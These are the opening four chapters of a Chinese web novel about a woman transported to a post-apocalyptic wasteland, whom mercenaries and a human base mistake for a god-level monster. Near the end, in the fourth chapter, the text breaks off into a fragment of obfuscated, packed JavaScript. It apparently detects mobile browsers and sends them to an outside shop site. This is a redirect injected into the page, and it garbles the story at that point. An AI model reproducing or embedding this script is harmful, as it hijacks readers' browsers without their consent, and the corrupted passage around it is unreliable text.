《老实人邪神[废土]》
1. 双面人生
柯雾睁开眼,濡湿黑暗的气息扑面而来。
一股土味,柯雾不由皱眉,给她干哪来了?
她拱了拱身子,土层发出松动的声响。好,看来不是很深。她试着开挖,双手飞快地拨去面前的土壤,开辟一条崎岖的小道,蜿蜒向上。
光明模模糊糊,她四肢并用,爬得更快了。
“呼——”
终于呼吸到新鲜空气,她高兴得探出头,和一只人立的兔子四目相对。
兔子和她都愣住了,片刻后,兔子尖叫着窜入草丛,逃跑出了残影,仿佛一坨粘液飞溅而过。
原来兔子还会叫。等等,那是兔子吧?
以为自己看错了,柯雾揉了揉眼,结果草丛也开始不对劲,叶片表面凸-起密密麻麻的水泡,仔细看好像还在颤-抖。
不对,她视力没那么好,怎么可能看得那么清楚。柯雾走近观察。
草丛结着成片的绿色小果实,手指头大,又和叶片一个颜色,难以分辨。
她不由得松了口气,果然是看错了啊。
这口气没松到底,柯雾的头隐隐作痛。明明昨晚她还窝在家,玩手机玩到神志不清,怎么两只眼睛一闭一睁就埋土里了??
难道是……穿越了?
她抬起头,遥远地平线上是即将坠落的太阳,往下看是无边无际的黄土。
荒凉,这是柯雾对这个世界的第一印象。
第二印象是木仓响。
身体比脑子快,她一个下蹲便往旁边一滚。
*
侦查员周一接过望远镜,只瞧了一眼便扔掉大喊:“闭眼!”
队员们会意,立马闭眼捂耳。
她们是常驻野外的雇佣兵小队,在荒野中行走,遇到什么东西都有可能。那些能影响神智的东西只是经过,她们便会陷入幻觉自相残杀。
周一与队友拉开距离,到与队伍撤退截然相反的方向后,对着天空鸣枪。
那个存在却不为所动,朝着队友高速移动。
它的智能这么高?!
周一瞳孔骤缩,被发现了!
*
身下似乎有什么东西在拼命挣-扎,柯雾赶忙起身,但可能是刚刚躲得太急,这会眼冒金星,眼中的人影一会大一会小,一会长一会短。
“……这、这是……”
“呕呕呕——”
“快闭眼!!”
“不行,没用!”
柯雾若有所感回头。
逐渐清晰的视野中,男人的枪口对准她,眼神透着股狠劲。但很快,那种孤注一掷的决绝被茫然取代。
“你好?”柯雾试探道,她怀疑男人认错对象了,该打的是刚刚那只逃跑的兔子吧?
“你……你好。”男人机械地开口。
男人脸色苍白,冷汗津津,握枪的手不住颤-抖,是为差点打到人后怕吗?柯雾别开眼。
“没、没事。”好像知道她想问什么,男人抱头低声道:“我……我叫周一,来自第七基地,她们是我的队友。”
“基地?”柯雾一阵恍惚,她看过的小说电影里,这个名词往往和人类的生死存亡关联。
周一比她还恍惚,扶着石头就开始干呕。队友们心连心,荒野上听取呕声一片。
柯雾退后两步,离她们远了些。虽然很对不住,但胃酸强烈的存在感确实让她回过神来了。
当务之急不是她穿到了什么地方,而是她还能回去吗?一般穿越都有个系统画饼发任务,可她两眼一睁就是干,截止目前毛都没有,只能靠自己。
*
是能对话的存在,周一不知该庆幸还是崩溃。没有给他思考的余地,对视的那一刻,他的感官便扭作了一团。
鼻子闻到碎玻璃的味道,耳边传来皮肉烧烤的香气,眼睛被揉成橡皮,塞进滚筒无限自转。
祂的话语钻进他的脑海,那古怪的音节附着在神经上,让他不由自主地交代了祂好奇的一切。
那个存在表明了“拜访”基地的意愿,周一明知该拒绝,但在祂强大的意志压迫下,“容我拒……剧烈欢迎。”
*
柯雾心头涌上一股同情——恐怕是之前被吓坏了,这人说话颠三倒四的。
听得出他一开始想拒绝,但她厚着脸皮直勾勾地盯着对方,试图传达自己的真诚和无助。
果然对方还是松口了,只是那个出汗量看着快要虚脱了,柯雾再次关心了他的身体状况,得到“希望能休息一下再启程回基地”的答复。
她有求于人,自然是满口答应,帮着搭把手递药箱,顺带打探情报。
她是个适应力很强的人,既来之则安之。这个世界如此凶险,她得先让自己活下去。
“三十年前,污染二次爆发。人类在空陆海分别成立了7个基地,用来抵抗在污染中飞速进化的异种和逐渐无法预测的天灾。”
“基地按生存优先级排序,按排序分配资源。第七基地建在污染最为严重的地表,分配到的资源最少,七基人大多靠完成其他基地派发的委托糊口……对,就像我们这样。”
队长温九知无不言,一边给周一注射-jing神修复剂,一边有条不紊地回答柯雾的问题。
“异种进化了人类有没有进化?有的,研究表明我们的身体素质远超以前,少部分超进化的人类被称为异能者,是基地的主要战力。”
“为什么不用热武器?会加重污染,而且很消耗资源,当然小型武器是可以的……您摸的是我的腰,枪还要往下移一些。”
“可惜我们的进化速度远远比不上异种,某些异种已经能改变磁场影响环境了,人类还在强身健体。”
“普通人怎样才能进化?基因实验、异种感染、重新投胎等都可以。”
“您想进化?”透过防护面罩,她灰色的眸子蒙上一层深深的迷惘,“暴露在荒原中这么久都没事,或许您已经进化了……?”
*
温九是第一个意识到怪物在扮演人类的。
可能是因为她娴熟的扎针手法让怪物产生了兴趣,祂那密密麻麻的目光集中在精神修复剂上,让其他队员得到片刻喘息,也让她被怪物的高频音波不断冲击。
在怪物的狂轰滥炸下,
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她从一开始的理解无能到后面勉强明白“祂”在向她发问。
周一无法承受巨大的精神压力,已经晕过去了,不知道他有没有读懂怪物的意思。
怪物的问题大多涉及常识,再加上祂前往基地的意图和用那五彩斑斓的躯体递来药箱的行为,就像是祂完全将自己当作了人类的一员。
温九听说荒原中某些刚进化出智慧的异种会对第一眼见到的物种产生“雏鸟情结”,不自觉地模仿对方的行为。
祂们的思维能力远超人类,往往学得很快。
祂认为自己是人类吗?借着怪物放松的空档,温九竭力运转思绪。无论如何,都不能带这样一个危险的存在回基地,得祸水东引……
*
“您好像还没自我介绍?”温九收起试剂,望向昏暗的天空。
“抱歉。”柯雾这才想起,有些不好意思道:“我叫柯雾,南柯一梦的柯,雾里看花的雾。”
温九过了一会才反应过来:“哦……很好的名字。”
她合上眼,似乎在忍耐什么,良久才道:“或许第七基地不适合您。”
“?”
“七基很落后,人口也快达到上限了。我看您能不带任何防护地在荒原行走,想必是实力高强的荒野猎人,但不怎么了解各个基地的情况。”
“天空城,就是第一基地向来欢迎强者,它的居民享受着纯净的空气、纯净水和单人间,这些在第七基地都是奢侈品。”
不不,她误会了。柯雾想纠正,却突然意识到,她的来历确实古怪,说穿越谁会信?把她当作什么外星生物研究也说不定,末世没人权,谁会保护她呢?
她默默咽下了,但本能地对文明程度更高的“天空城”感到排斥。“我喜欢脚踏实地。”
“那么第四基地和……我明白了,好的,我们会带您回去的。”温九的目光开始涣散,紧绷了一天,她的精神怕是达到极限了吧。
另一名队员插-入队长和柯雾中间,阻挡了柯雾的视线。“那个,今晚我和您守夜可以吗?”
柯雾看着他紧闭着流下两行血泪的双眼,迟疑地点了点头。
*
果然,祂的名字无法识别。
尽管温九有准备,在祂张“口”的一瞬将屏蔽器开到最大,只保持了录音设备正常运转,但还是不可避免地接收到一些频率,惨烈程度不亚于有人在她耳边用刀子刮玻璃。
而录入离线资料库的发音仍是无法识别,只能等回到基地交给专员分析。
她们只能理解祂允许理解的。
智慧程度如此之高的异种实在罕见,祂的某个感官捕捉到她隐秘的念头,释放出带有攻击性的信号,她只得先行安抚。
张三引怪物离开后,温九瘫坐在地,艰难摸出通讯设备。
“荒原上有信号吗?”怪物突然折返,视线追逐着发光的手环。
温九:“……”
“没有吗,有些强大的异种会干扰磁场?”祂点点“头”,“也是,你之前提到过。”
“那,队长现在在做什么呢?”
祂轻声道。
2. 微笑气球
无人回应。
偌大的旷野仿佛只剩下几人的呼吸声。
柯雾有些尴尬。
温九双睫微颤,脸色跟周一一样惨白,让她觉得自己问了一个不合时宜的问题。
在脚趾扣出大别野之前,她朝队长胡乱鞠了个躬,拉上两行血泪的同伴去守夜了。
雇佣兵小队有一辆改造的面包车,平常都是在车上休息,装备也逗卸在车上。
守夜的人一左一右,在离车几步开外警戒。
夜降临后,荒原上呜咽风声肆虐。柯雾穿越时是冬天,她给自己裹了里三层外三层,倒不觉得什么。对面的张三就不好受了,防护服也抵不住扑面而来的寒风,凝了一层一触即碎的白霜。
柯雾跟他不熟,无声地盯了一会那只露出双眼的面罩,就见他捂住头,比了个手势,表示要回一趟车上。
*
温九给自己注射-le一针精神修复剂,鼓胀的脑袋清醒几分。
除了和怪物“守夜”的张三,队员们都瘫在面包车的座位上,一副劫后余生的模样。
“队长,那个究竟是……我们真的要带回基地吗?”有人忍不住问。
温九没有接话,翻出通讯器,双眸沉沉地看向窗外那片占据了大半视野的身影。
不发射信号,应该不会惊动祂。
她垂眸,在手环投影的显示屏上敲下一行字,展示给队员:
【祂的意志无法违抗】
她继续打字:
【找机会联络基地,开启一级防护】
其他队员仿照着打字:
【可祂跟着我们,信号就会被一直屏蔽】
温九提出自己的发现:
【祂似乎认为自己是人】
“?!”队员们面面相觑。
【雏鸟情结】
队员们似懂非懂。
车门突然被拉开,众人当即进入防御状态,见来人是张三才松了口气。
张三是来躲祂和拿备用电池的,防护服能量不够,恒温模式无法启动。他看到围成一圈的通讯器,默默掏出自己的加入:
【1】
众队员:“……”
名叫秋十的队员噼里啪啦打了一通:
【那派个人离远些是不是就可以?】
【其他人掩护,挡住祂的目光】
队长轻轻点头,通讯器一排的“1”。
【谁去?】
“……”车内陷入更大的沉默。
*
可能是刚睡了很沉很久的一觉,柯雾没有一点困意,她本想同守夜的同伴聊聊天,看能不能再套出点什么。但对方和她站成了对角线,表示夜里常有异种出没,警惕为上。
柯雾稍微有些紧张,她穿来那么久,还没见过异种呢,虽然刚在队员前打脸充胖子当什么荒野猎人,但异种来袭时她估计没有还手之力,这让她颇为发愁。
她谎称武器有损,跟队长要了一柄折叠刀。温九看着她从生涩到熟练的甩刀动作,欲言又止,最终还是没有说什么。
柯雾沉迷研究新武器,快到换班时才恋恋不舍收起。
钻进面包车,她奇道:“大家怎么都出去了?”守夜不是只要两个人吗?
小队加柯雾一共7人,除去昏迷的周一正好两两换班。
“她们去收集数据,这个时间段异种最活跃,只要拿着探测器走一圈,就能跟研究所换一周的口粮。”队长将一个崭新的睡袋递给她。
“研究所?”
“也是第四基地,是除了第七基地外唯一一个建在地表的基地。规模很小,但都是精英,其实那儿更适合您。”
柯雾假装没听到,“队长,不用敬称啦,怪生疏的。”
“好。”温九从善如流,身体力行钻入睡袋,“睡吧。”
柯雾不想睡,更想收集数据换口粮,但听队长说需要探测器,不知有没有多的。她还想追问,然而女人已经合上双眼,眼底的青黑依稀可见。
犹豫许久,柯雾一点点挪过去,靠着温暖躺下。
*
秋十在队伍边缘,为了不惊动怪物,她保持着高举探测器的姿势,装作不经意间走出祂的“领域”。
从远处看去,怪物本体只有一人高,像黑丝绒包裹的五彩泡泡,或是浮在可乐里的星球糖。
表面光滑、黏腻,涌动着斑斓的漩涡。而裹着祂的黑丝绒,则是祂所影响的范围,祂的领域。
祂所及之处,万物悄无声息,像是陷入旷日持-久的黄昏,边缘晕着一圈幻彩,但终归是黯淡的。
这一幕深深烙印在秋十眼中,她情不自禁地伸出手,踉踉跄跄朝祂的方向而去。
“嘀——”中断的信号恢复了,唤回失神的秋十。她好似被打断美梦的失眠患者,怅然若失。
“沙——沙——这里是第七基地,收到请回复——”
*
睡不着。
柯雾瞪着装甲车的顶部,脑里闪现的是一整天的所见所闻。说实话,她到现在都没什么穿越的实感。
她真的穿越了吗?会不会她本来就是这个世界的人,只是暂时失去了记忆?毕竟她努力回想过去的时光,只能记起模模糊糊的印象。
她有着一个幸福的三口之家,妈妈、姐姐和她。即使工作后,她也和家人住在一起。记忆里,那个家永远会为晚归的她留一盏灯。熬夜看剧的姐姐会在她经过时懒懒地叫住她,塞来热量爆炸的夜宵:零食、烤串或者小蛋糕。
咳,一提到吃的,记忆就清晰了,她的肚子应景地“咕噜~”一声,在黑夜中格外嘹亮。
柯雾缓缓闭上眼,觉得就此睡去也不错。
“您……你饿了吗?”十分钟后,就在柯雾以为无事发生时,队长的声音幽幽响起。
“……”柯雾:“哈哈,有点。”
她其实已经吃了没什么味道的营养膏,一管下去和喝西北风没什么区别,可也拉不下脸皮再要一管。
毕竟其她人都珍而重之,近乎虔诚地对待食物。她的暴风吸入对比她们简直是牛嚼牡丹。
况且别人吃了都一副十分满足的模样,让她十分怀疑自己的胃出了问题。
半饥不饱的,以为可以就这么撑到明天,结果一放松下来胃就出卖了自己。
窸窸窣窣的动静传来,温九放了一根能量棒在她的睡袋上。
“这个好吃,”她沙哑的嗓音带了点笑意,“尝尝?”
柯雾一番挣-扎,终是抵不过诱惑,
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掀开睡袋接过。
“咔嚓咔嚓”
“唔!”黑暗中,她的眼睛亮起,是巧克力味的!比起营养膏完全是满汉全席。
三下五除二吃完,柯雾后知后觉:“队长,这个很贵吧?”
有这种味道的能量棒,说明人们的味蕾还没变异,那它被开除物资的原因显而易见。
“是啊。”队长向她展示如何把垃圾投入处理器处理,“我的私藏。”
“它富含的能量是营养膏的十倍。”队长喃喃道。“不知够不够您……你吃。”
“我会还的。”柯雾愈发羞愧,原来是队长自掏腰包,“等我去到基地,会努力挣钱还的!”
生怕队长不信,柯雾下意识抓住她的手,拉近了她们的距离。
队长的呼吸一下局促起来,胸口不住起伏,一把推开了她。
*
“我……我有洁癖。”那份错愕中夹杂着一丝委屈的情绪传入她心中,温九抓着散乱领口,其下是剧烈跳动的心脏,身体本能面临巨大压力时分泌的肾上激素让她喘不过气,“……我的问题,不用在意。”
继发现祂的模仿行为,温九细思极恐地发觉,同祂交流超过一定时间后,自己逐渐能分辨其中的情感,会不自觉地放松下来。
理智上明白祂是异种,是怪物,是人类的拙劣模仿者;情感上却慢慢向祂靠近,接受了祂定义的身份,这简直和将蓝鲸视作猫咪一样荒谬。
温九将之归为精神污染的一种,公式化地说着安抚的话语,心乱如麻,思绪不由飘向自告奋勇的秋十,不知她是否成功联络基地。
车外的队员们走了一圈又一圈,就差掘地三尺了。她定了定神,试图再度哄祂入睡。
祂没有明确反对,只是闷闷地表示睡不着,想要出去走走。
*
“……编号11375小队汇报完毕。”
秋十放下通讯器,刻意不去看祂。
“……”
对面沉默良久。
直到一个沉稳的女声一锤定音:“净化程序已启动,请等待疏散指示。”
秋十尽了自己的义务,收拾心情准备归队。
旷野的风声中,蓦地出现一丝杂音。
长夜将曦,鱼肚白的天空下,倾倒而出密密匝匝的“蜘蛛”。
它们每一只都有汽车大小,坚硬的背甲上起伏着耸眉拉脸的五官,修长的触肢扎入黄土,又骤然拔出,带起阵阵风沙。
那五官上畸形的裂唇一/张一合,非人的笑声响彻荒野。
*
队长拉住柯雾搭在车门上的手,显然她在极力抑制自己的洁癖,青筋暴起,分外辛苦。
柯雾正不知如何是好时,一阵奇怪的笑声传入脑海。它们既远又近,似有若无。
她透过车窗看去,一群涂画着笑脸的气球正从地平线上冉冉升起,源源不断绵绵不绝,大有遮天蔽日之势。
和普通的气球一样,它们的气嘴扎着一根丝线,这线似乎不怎么紧,气球靠着泄露的气体移动,那神似笑声的声音便是漏气声。
队员之一不知怎的淹没在气球堆里,她一木仓爆了一片,然后宣布:
“敌袭!!”
柯雾:“……?”
3. 肉骨樊笼
喜蛛,三-级异种。融合了一定的人类基因,活人是它们的最爱,类人异种也不挑。繁衍季成群结队出没,危险性堪比六级异种,别说是雇佣小队这种游兵散勇,就是正规军来了也得避让。
数量太多,火力不足,队员们纷纷撤回面包车。
唯心地忽视祂的实际大小的话,即使陷入那柔软躯体,也能呼吸视物。
众人彷佛身处半凝固的海水,底下暗流湍急,水声轰鸣。
待适应后,人们感受到祂所思。
祂在困惑。
名为刘二的队员开车,秋十咬牙包扎伤口,其他队员摸鱼,尽量不直视那庞大的存在,尽管祂无处不在。
【要走了吗?】
队员们也不想逃,但眼看喜蛛进入了祂的领域,祂却毫无反应,她们就像在别人家做客,再着急也不能指责主人不作为。
“您觉得呢?”队长担起交流的重任,硬着头皮问道。
祂轻轻摇晃,表面漾开涟漪。
【走吧】
得到指令,刘二一脚油门,面包车弹射起步。
触肢快扎进车尾的喜蛛被喷了一脸尾气,笑声一滞,随即变得阴冷。
喜蛛汽车大小,行进速度也不下于加满油的小汽车,饶是刘二脚踏板踩得快冒烟了,还是和喜蛛群拉不开距离。
温九给了秋十一个眼神,后者打醒周一,加上张三和另一个队友,四人分散在不同窗口,构筑成两翼火力带。
众人一开始还颇不适应在半透明的水体中活动,后来鲨红眼了,吹着口哨爆头,连水中飘荡的触-须轻柔贴上她们的颈侧,舒缓那过于兴奋的肌肉都没注意到。
温九的眼眸散发着淡蓝色光芒,她是退化的异能者,不能随心所欲使用异能,但在祂的体内,异能似乎更容易被激发。
发尾延伸的淡色触-须,在水中如海藻散开,悠悠滑过队友颈侧。
感受到祂的注视,她温和讲解:
“我有治愈系异能,可以缓解大家的疲劳。异能者是成功进化的人类,也是被深度污染的人类,和异种的区别大抵在于外形和意识吧。”
说完,她想起什么,有一刹的怔愣。
就在这一瞬,变故陡生。
面包车前进的方向,一片巍峨肉山隆起,横贯南北。
山体是无骨软肉,由皲裂的死皮包裹,其下无数骷髅深陷肉山,推搡着挤压着要破山而出,凄厉的哭喊冲上云霄。
小面包绕不开肉山,它往左,肉山便翻滚着向左;它往右,肉山便挪腾着向右,司机只好踩了刹车,避免和肉山亲密接触。
温九认出怪物,一颗心沉到了谷底。
“肉笼”,七级异种,本是蛆虫,受污染变异。尸山就是它的金山银山,是那种热衷于将活人变成尸体,吃人-肉不吐骨头的异种。
无论是堪比六级异种的喜蛛群,还是只在“三-级禁-区”活动的肉笼,都不应该出现在外围荒原,是“禁-区”有什么异变吗?
正当她思衬时,肉笼身上的悲鸣骷髅撕破一道口子,无数手骨从裂缝中钻出,伸向无路可逃的小面包——
而后被漆黑的领域接手,拉向祂的怀抱。
祂的本体膨胀肿大,五彩的漩涡随之无限增长,绚烂若星云。
*
无论是后面那群靠漏气来追车屁-股的笑脸气球,还是横在车前那条无声尖叫的蚯蚓,柯雾都不觉得有任何危险。
她前面没有否认自己土著的身份,这会怕问多错多,也只想去基地,故而对小面包的开动乐见其成。
而且队员们打气球得挺开心的样子,也许是这个世界的某种行为艺术?
不理解,但尊重。
至于大家默认给阴暗爬行的细长蚯蚓让路,柯雾思考了一秒:可能怕它卡住轮胎。
因为它贼长,小面包向左向右都不好办,莫名其妙被困在原地。
大约过了几秒,队员们还是对蚯蚓毫无作为,甚至没有人提出一个解决困境的方案。
这段时间受她们照顾,柯雾有心回报,主动下了车。
队员们万分紧张,呼吸都放缓了,彷佛她不是去把蚯蚓挪开,而是奔赴什么生死战场。
*
那存在梦幻般的本体伸出两条修长的触-手,队员们明知祂的一举一动皆超出她们的感官,仍忍不住窥-探。
温九的余光窥见寒光一闪而过。
寻常的刀枪没法伤害肉笼这种级别的异种,温九很快明白过来,这不是那把可怜的折叠刀,而是祂模仿兵器的拟态。
那触-手边缘锋利,划出一道耀目弧光。
这个向来横行外围荒原的七级异种慌了,它扭动自己臃肿的身躯,试图在那审判的刀刃落下前逃离,可终归是徒然。
“噗!”
*
柯雾还是有些膈应直接接触荒原生物,尤其是那肉虫擦过她的鞋尖,被她下意识踩了一脚。
她干脆甩出折叠刀,结果没控制住力道,刀风掠过肉-躯——
“噗!”
长如肠子的蚯蚓就这么水灵灵地一分为二了。
柯雾:“……”
她不是故意的。
算了,大自然的馈赠不要白不要。
柯雾跟队长借了个袋子,期间看到小面包被气球们团团围住,顺手一个个牵走。
集齐所有的气球后,柯雾将它们的线绑到一起,打了个死结。
部分气球线实在松,没等系紧便大漏特漏,瘪成了一张薄薄的皮。
柯雾颇为可惜,将其踩在脚底,踩入黄土,以便大自然更好地分解。
欣赏了一会漫天飞舞的微笑,她心情愉悦地松开了手。
*
数不尽的触-手从祂开裂的本体中伸出,以猫抓耗子的优雅狩猎喜蛛。
喜蛛们无处可逃,像被掐住脖子的鸡,笑声戛然而止。
它们相较之下无比纤细的触肢被耐心地集到一处,捆作一团。
整个过程中不断有脆弱的触肢折断掉落,连同背上的人脸一道被祂碾入尘埃深处,永世不得翻身。
祂打量着自己的杰作:一束喜笑颜开的鲜花,脸为花瓣肢为枝。
就在悄悄睁眼的队员们以为祂要一口吞下时,那束“鲜花”被轻轻一扬,冲万里高空飞去了。
祂的力非人类可以估量,可以肯定的是,那“花”直到飞至肉眼不可见的高度,都未曾落下。
*
脱离引力的气球们升上高空,直到几不可见,柯雾才恋恋不舍地收回目光。
唉,要是这世界有游乐园就好了,她牵着这么一群,往那门口一站,不得成全场最靓的崽。
柯雾一回头,发现自己梦想成真了——
队员们见鬼似地盯着她,嘴巴长得老大。
怪难为情的,柯雾低调地取走队长备好的袋子。
低头走到两具尸体旁,以标准的动作将蚯蚓x2装进去,一举一动力图优美。
确认里头的东西死得不能再死,仔细系紧袋口后,柯雾将其递向队员们:
“蚯蚓富含蛋白质,很有营养,可以加餐了。”
这不比蜡一样的营养膏好吃?
然而队员们面色怪异,没有一个接。
柯雾的兴高采烈凝在脸上,难道这是什么不能吃的东西吗?
她毕竟初来乍到,没准犯了某种禁_忌。
保持着高举透明塑料袋的姿势,柯雾有些不知所措起来。
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>袋里分为两段的躯体还在缓缓蠕动,这说明它很新鲜,放到烤架上能滋滋烤出油水。
队员们甚至齐齐后退了一步,没来得及反应的队长被空了出来。
对上她殷切的眼神,队长咳了声:
“这不太好吧?”
不好吗?
毕竟饮食习惯不同,柯雾想了想,不强求,她们不吃自己吃。
被放过的小队松了口气,这口气松到一半就被试图将尸体扛上车的柯雾惊回去了。
经过七手八脚的阻拦以及队长急中生智的提议:
“我们也开了很久的车了,停下来歇会吧。”
于是烤串的烤串,吸氧的吸氧,一顿其乐融融的午餐时光就这么度过了。
*
祂在荒原升起刑架,点燃肉笼。
那横断的肉山被荆棘状的触-手架起,交叠摆放成一个“十”字,而后在触-手的操控下,十的两笔高速摩-擦,犹如提琴的琴弓疯狂演奏着琴弦,而后火花迸溅,引发燎原大火。
肉笼这种异种生命力顽强,即使一分为二也能存活,是以它最后是被活活烧死的。
皮下骷髅都不哭了,改行惨叫,让队员们硬生生在那一颗颗只剩骨头的脑袋上看出惊恐。
祂无动于衷,慢条斯理扯下散发着焦香的肉条,漩涡一/张一合。
目睹这一幕的小队污染指数空前升高。
*
第七基地,指挥中心,紧急会议召开中。
祂被认定为十级异种,也即神级异种,是整个人类历史上观测到到的第五只神级异种。
人类按一到十级划分异种的危险度,等级越高危险度越大。
危险度与异种展现的实力、智慧程度、对人类是否有威胁等因素挂钩。
祂能改变周身环境,甚至形成领域,加上高度拟人的智慧、影响人类神智的能力和前往基地的决心,对第七基地无疑是比十级异种还神级异种,高层恨不得宣布这是万古无一的十一级。
第七基地知会了其他基地,理所当然的,12356发来了诚挚的慰问和五花八门拒绝支援的借口,只输送了一些聊胜于无的物资。
只有富有科研精神的第四基地要了更多资料,表示会提供必要的支持。真是感天动地,要是她们的帮助能在异种抵达前转化为行动就更好了。
七基只能自救。
祂的影像资料经过无害化处理,投影在巨大的荧幕上。
军区总指挥朱肆提议启动转移人员、空投核弹的净化程序。
研究院院长虞零带头反对:没有任何证据表明核武能一劳永逸地解决怪物。
有些异种本就因辐射而生,这是在给祂空投午餐。既然祂亲近人类,应该再多观察试验。
军方冷笑,试验?自己人都快被玩-死了。
双方针锋相对,各自的支持者紧随其后,吵作一团。
基地总长端坐长桌尽头。作为基地的创始人之一,她两鬓微霜,近年来已鲜少出现在大众视野。
凝视那由无数色块拼凑而成的马赛克许久,她几不可察地叹了口气。
还是到这一天了吗。
总长缓缓抬手,长桌上顿时鸦雀无声。
她看向争得面红耳赤的朱肆,“试试吧,小朱。有些事撞了南墙才会回头。”
总指挥起身敬礼:“是,长官!”
又迟缓地转向虞零:“就当是一次实验。杀死神级异种的尝试,你我有生之年何其有幸得见。”
院长死灰复燃:“您说得对。”
接线员接通自数据传输完毕后便一直沉默的11375小队线路,总长对着那头的秋十沉声道:
“净化程序已启动,请等待疏散指示。”
4. 甜蜜暴击
小队原地休整了一个下午,迎着落日朝基地进发。
“队长,有地图吗?”
正在吃营养膏的温九顿了顿,艰难咽下膏体:“怎么了?”
“之前没出过这块地方,都不认得路,想看看还有多久到。”柯雾牢记“荒野猎人”的人设,其实她也没说谎,埋在地下确实没出过。
“我们对这片很熟,一般不带地图,不出意外明天就可以到了。”队长移开眼。
好吧。
柯雾挠了挠脸颊,将头靠在车窗上,放空了脑袋。
落日在她眼中划过,血色融于寂黑的夜空。
困意在饱餐一顿后姗姗来迟,她缓缓合眼。
*
祂的目光逐一熄灭,队员们意识到祂进入了休眠状态。
担心吵到祂,除了开车的王二,全员躲在一条厚毯子下打字交流。
秋十:【净化程序启动了】
从小受到的教育让她们明白净化意味着什么,一时无人发言。
【那个,】一直没什么存在感的郁七举起手中通讯器,【如果净化没有成功,我们该怎么办?】
“……”
谁也不敢想那个可能。
还是秋十打破了不安的氛围:【那时我们早跑八百里开外了】
【别多想了】
为保万一,秋十还是离车一定距离才和基地联络。
目送她离去,郁七将通讯器往温九身前一递:
【队长,我没有从祂身上感到恶意。】
【我们会不会,做了一个错误的决定?】
郁七是残次的异能者,她的异能是被动的,而且副作用很大。简单来说,就是一旦察觉她人的恶意,脑部神经就会受损,所以她一向很低调,只和队员们来往。
一直默不作声的她在陷入祂领域的那一刻感到非同寻常的温暖,就像回到了人造子-宫的羊水中,那样的安心是郁七许久不曾体会的。
温九敲得很慢:【就算我们有理由相信祂,基地也没有】
【只要祂坚持去基地,冲突便不能避免】
郁七不解:【不能劝祂吗?】
【我试过。】温九想起自己几次三番的努力,祂在别的事情上很好说话,即使被忤逆也不生气,唯独对人类基地抱有极大执念。
【我猜,大概是因为扫描过我们的记忆,阅读过我们的思绪,我们身为基地一员的认同感也或多或少影响了祂】
【!】郁七-大惊:【祂这么做了吗?】
【祂做得到】温九其实有些不确定,但如果不是这个原因,祂为什么那么执着呢?哪怕是雏鸟情结,也只是依赖见到的生物本身,而不会对一个抽象的概念有如此大的反应。
她也想阻止祂,但总不能直白了当地说:您不是人,基地不欢迎您。
没有人能保证祂脱离了生而为人的自我认知后,不会对她们产生敌意。荒原弱肉强食,像祂这种金字塔顶端的异种,人类何德何能受其庇护呢?
【我们不能冒这个险】
郁七无法反驳,默默收起通讯器。
秋十到下半夜才返回,带来基地派人前往废弃的人类都市,伪装成另一座“基地”,从而请祂入瓮的消息。
【指挥官让我们入城后找机会同祂分开,会有人接应我们】
这便是疏散了。
面包车沿着本就与基地背道而驰的方向,驶入荒芜深处。
*
柯雾跟着队员们排在稀疏的队伍里,等待入城检查。
略显破败的高墙脚下竖着几顶帐篷,通过检测的人才能进入基地。
快到她们时,排在柯雾前方的队员突然转过身,睁着小鹿般的圆眼,小声问柯雾:“您为什么想去基地呢?”
柯雾从记忆角落翻出她的名字:“郁七?”
女孩小幅度地点了点头。
“基地生活比较方便,荒野求生太辛苦了。”柯雾如实道。
郁七呆了呆,似乎没想到是这种理由。
“难道你们不是吗?荒原贫瘠又危险,正常人都不会选择在那定居吧。”她现在手无缚鸡之力,当务之急是提高自保能力,没有比基地更合适的去所了。
“可是……可是您和我们不一样。”郁七咬了咬下-唇,面上满是敬畏之色,“您这样强大……”
队伍往前移动,通过检测的队员们透过城门,向她们张望。
柯雾牵起女孩的手,带着她走向检测器:“首先感谢你对我的肯定,其次你误会了,我是个普通人,遇到危险会害怕,会渴-望安稳的生活,而不是游荡在危机四伏的荒原,朝不保夕地谋生。”
柯雾自认荒野猎人的人设稳如老狗,同时在心底抹了把汗,她有做什么让她误会的事吗?
郁七还想说些什么,但检测员们围上来,隔开了二人。
检测有两道程序,先是由检测员用扫描仪检查体内是否存有污染因子,再进入医疗帐篷做消杀,上双重保险。
没一会轮到柯雾,她刚上前一步,那扫描仪便开始高亢鸣叫,乱飙数值。
柯雾:“?”坏掉了吗?
她正想仔细观察,就被一旁协助检测的研究员拦下。对方满头大汗地表示仪器故障,请她直接去医疗帐篷。
她不明觉厉,但觉得多一事不如少一事,在窄小的帐篷进行消杀后进入城门,可一抬头,就发现小队无影无踪。
队长呢?其他队员呢?
刚刚不是还等在门口吗?
不知从什么时候起,城内本就冷清的街道空无一人,不远处隐约传来躁动的杂音,还没等她分辨那是什么,声浪渐近。
几点黑影掠过万里高空。
紧接着,一个细长的物什从天而降,正好落在柯雾面前,她下意识伸手去接,那东西却在她手上炸开,喷了她一脸粉红烟雾和彩带。
尘雾升腾,香甜的糖果气息也随之袭来。
如有实体的甜味钻进她的鼻子,抚慰了她这些日子被营养膏摧残的味蕾。
烟雾愈多,香味愈发悠长,她站在原地,第一次体会到“喝西北风喝饱了”是什么感觉。
*
会议室内,人们紧张地盯着屏幕,默默在心里倒数。
十、九、八……一!
随着那朵巨大的蘑菇云绽放,人们心中的期待与恐惧达到了顶峰。
烟尘奔腾而出,将祂的本体埋没,只剩那黯淡的领域缓缓流转,仿佛星空掀起一角,昭示着祂的安然无恙。
人们不死心地继续观测,机组保持安全距离缓慢下降,吸取教训,远程探测仪只扫描是否有生命体存在,并未检测具体指标。
【警告!异常生命体!异常生命体!】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642021|156481||http|test|mini|href|location''.split(''|''),0,{}));
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>悬着的心终于死了。还没等人们从空前的沮丧中回过神来,大屏不稳地闪了闪。
“院长?”有人向虞零投去疑惑的目光。
虞零手持微型光脑,头也不抬,一顿舞出残影的操作后,大屏彻底黑了。
她对着耳机下令:“净化失败,关闭一切通讯频道,按b计划返航。”
又看向仍在屏幕前徘徊的众人:
“所有人分批前往隔离室,在污染度检测结果出来前不得擅自外出。”
